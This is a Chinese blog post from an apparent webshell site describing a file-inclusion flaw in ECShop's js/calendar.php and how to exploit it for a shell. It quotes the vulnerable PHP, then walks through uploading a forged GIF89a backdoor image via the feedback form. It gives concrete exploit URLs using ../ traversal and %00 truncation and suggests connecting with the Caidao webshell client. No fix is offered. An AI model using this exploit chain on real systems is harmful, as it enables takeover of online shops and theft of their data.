直接看代码:
js/calendar.php

$lang = (!empty($_GET['lang']))
? trim($_GET['lang']) : ‘zh_cn’;//没有过滤,很明显的包含漏洞

if (!file_exists(‘../languages/’ . $lang . ‘/calendar.php’))
{
$lang = ‘zh_cn’;
}

require(dirname(dirname(__FILE__)) . ‘/data/config.php’);
header(‘Content-type: application/x-javascript; charset=’ . EC_CHARSET);

include_once(‘../languages/’ . $lang . ‘/calendar.php’);//这里包含,需要截断

前段时间一直徘徊在ecshop的网站上面。后面发现这个比较偏门的漏洞可以拿SHELL,简单说下利用方式。

伪造一个gif89a 头的GIF后门文件欺骗,然后注册商城帐号,在我要留言那里留言上传图片,然后利用包含直接拿SHELL!

网上的exp Url都是这样的 :http://www.*****.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.

想拿SHELL你就在点的后面加个php,很简单这样就可以识别为php文件执行脚本了。

如: js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00./1.php

直接 js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00.php 也可以的!

打开你上传后的gif伪图片经过以上漏洞构造的URL <出现E文则成功> <出现中文则失败>

对了,如果利用中弹出下载,建议你使用菜刀连接。比较方便!

(弹出下载在之前是没有的。可能升级了~ 不过对此漏洞毫无影响。)

如果留言页面找不了的话在根目录加: user.php?act=message_list

打开无此页面的话就不可以利用了。

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/897.html